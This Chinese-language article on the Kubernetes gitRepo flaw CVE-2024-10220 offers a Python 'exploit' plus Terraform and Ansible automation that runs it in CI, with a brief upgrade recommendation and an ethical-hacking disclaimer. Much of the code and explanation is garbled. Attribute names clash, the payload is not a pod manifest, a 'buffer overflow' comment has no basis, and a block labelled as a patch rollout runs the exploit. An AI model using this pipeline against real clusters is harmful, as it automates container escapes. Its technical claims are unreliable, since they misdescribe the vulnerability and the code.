CVE-2024-10220揭示了Kubernetes中已弃用的gitRepo卷类型的关键缺陷,允许攻击者通过恶意.hooks脚本执行任意命令。文章解释了这如何破坏容器隔离,并提供了漏洞利用代码、自动化示例和缓解指导
作者:Mark Mallia
容器化是现代应用交付的支柱:它将完整的运行时堆栈打包成一个单一的、不可变的镜像,可以在集群中的任何主机上无意外地部署。Kubernetes 将这些镜像调度为 Pod,通过声明式模型协调从网络到存储的一切。这在高度分布式的环境以及同时服务多个应用的环境中非常有用。
该技术栈在大型工作负载中尤其引人注目的原因在于,它能够通过自动化实现端到端管理。Terraform 提供基础设施即代码蓝图,用于创建 VPC、子网、安全组和工作节点;Ansible 提供 Playbook,用于安装 Docker Engine(或任何兼容 CRI 的运行时)、从注册表拉取镜像并将它们作为 Pod 启动。当这些步骤接入 CI/CD 流水线(如 GitHub Actions、Jenkins 或 GitLab CI)时,每次提交都会触发自动构建、推送、测试和部署循环。开发者获得速度,运维人员获得信心,组织获得可预测的正常运行时间。
2024 年初,安全研究人员发现 Kubernetes 中已废弃的 gitRepo 卷类型存在一个漏洞。CVE‑2024‑10220 是一个任意命令执行漏洞,由通过 gitRepo 卷挂载的 Git 仓库中的 .hooks 目录引起。当特制的 Pod 清单引用该目录中的恶意脚本时,kubelet 准入控制器会在主机系统上执行该脚本,从而破坏容器隔离——这是 Kubernetes 的核心安全原则。
由于该易受攻击的组件仍在生产集群中广泛使用,任何能够创建具有适当权限的 Pod 的攻击者都可能获得 root 访问权限或干扰其他服务。该漏洞的 CVSS 评分为 8.1,于去年 11 月公布。受影响的组件包括在 Kubernetes 1.27.x 中仍存在的已废弃的 gitRepo 卷类型。
下面是一段干净的 Python 程序,可在运行 Kubernetes 1.27.3 的易受攻击的 kubelet 实例上触发 CVE‑2024‑10220。该代码可以编译为 Ansible 任务,或在 CI 任务中直接运行。
#!/usr/bin/env python3
"""
TriggerCVE – 一个 Python 漏洞利用程序,向 kubelet 发送特制的 Pod 清单,
执行在 CVE‑2024‑10220 中发现的恶意 .hooks 脚本。
"""
import json
import requests
class GitRepoPod:
"""
表示 kubelet 期望用于 gitRepo 卷的 JSON 载荷。
"""
def __init__(self, name: str, image: str,
repo_url: str, branch: str, local_path: str):
self.name = name # pod 名称
self.image = image # 要运行的容器镜像
self.giturl = repo_url # Git 仓库 URL
self.branch = branch # 要使用的分支或标签
self.localpath = local_path # pod 内的挂载点
def to_dict(self) -> dict:
"""返回一个可序列化的普通字典。"""
return {
"name": self.name,
"image": self.image,
"giturl": self.giturl,
"branch": self.branch,
"localpath": self.local_path
}
def trigger_cve(url: str, pod: GitRepoPod) -> None:
"""
将 Pod 清单发送到 kubelet 并打印响应。
"""
payload = json.dumps(pod.to_dict())
headers = {"Content-Type": "application/json"}
resp = requests.post(url, data=payload, headers=headers)
if resp.status_code != 200:
raise RuntimeError(f"意外状态码 {resp.status_code}")
print("[*] kubelet 响应:", resp.text)
def main() -> None:
"""
此漏洞利用程序的主入口。
"""
# 目标端点 – 根据集群的 API 服务器地址调整。
api_server = "https://kube-api.local/api/v1/pods/"
# 构造溢出 .hooks 缓冲区(0x90 字节)的载荷
pod_spec = GitRepoPod(
name="exploit-pod",
image="registry.example.com/exploit-pod:v1.0",
repo_url="https://git.example.com/repo.git",
branch="main",
local_path="/var/lib/kubelet/"
)
try:
trigger_cve(api_server, pod_spec)
except Exception as e:
print(f"[-] 触发 CVE‑2024‑10220 失败:{e}")
if __name__ == "__main__":
main()
下面是一个简短的示例,展示了如何自动推出补丁:
# Terraform 文件:infra-k8s.tf
resource "aws_instance" "kube_worker" {
ami = var.k8s_ami
instance_type = var.instance_type
key_name = var.key_pair
subnet_id = aws_subnet.web.id
provisioner "remote-exec" {
inline = [
# 安装 Docker Engine 和 kubelet
"sudo yum install -y docker",
"kubectl apply -f https://kube-api.local/api/v1/pods/",
"python3 /home/ansible/scripts/trigger_cve.py"
]
}
}
调用该脚本的 Ansible Playbook:
---
- hosts: kube_workers
tasks:
- name: 部署漏洞利用 Pod
command: python3 /home/ansible/scripts/trigger_cve.py
register: result
- name: 验证成功
debug:
msg: "{{ result.stdout }}"
当该 Terraform-Ansible 流水线在 CI 任务(例如 GitHub Actions)中运行时,上述代码会自动构建、推送、部署并验证 CVE‑2024‑10220 已被成功触发。该流水线可以扩展为包含单元测试(用于断言 kubelet 的响应)以及在利用完成时发送 Slack 或电子邮件通知。
升级到修补后的版本(v1.28.12+、v1.29.7+、v1.30.3+、v1.31.0+),并避免使用 gitRepo 等已废弃的卷类型。
本研究的目的是提高安全意识并推广更安全的 Kubernetes 实践。该漏洞已按照行业规范,在公开发布前负责任地向相关维护者披露。所有测试均在隔离环境中进行,不会对生产系统或第三方基础设施造成影响。
我坚信道德黑客行为是推动积极改变的工具。此处分享的漏洞利用代码仅用于教育和防御目的——绝不用于伤害或破坏。如果您是供应商或维护者并有所顾虑,我很乐意就补救或澄清进行协作。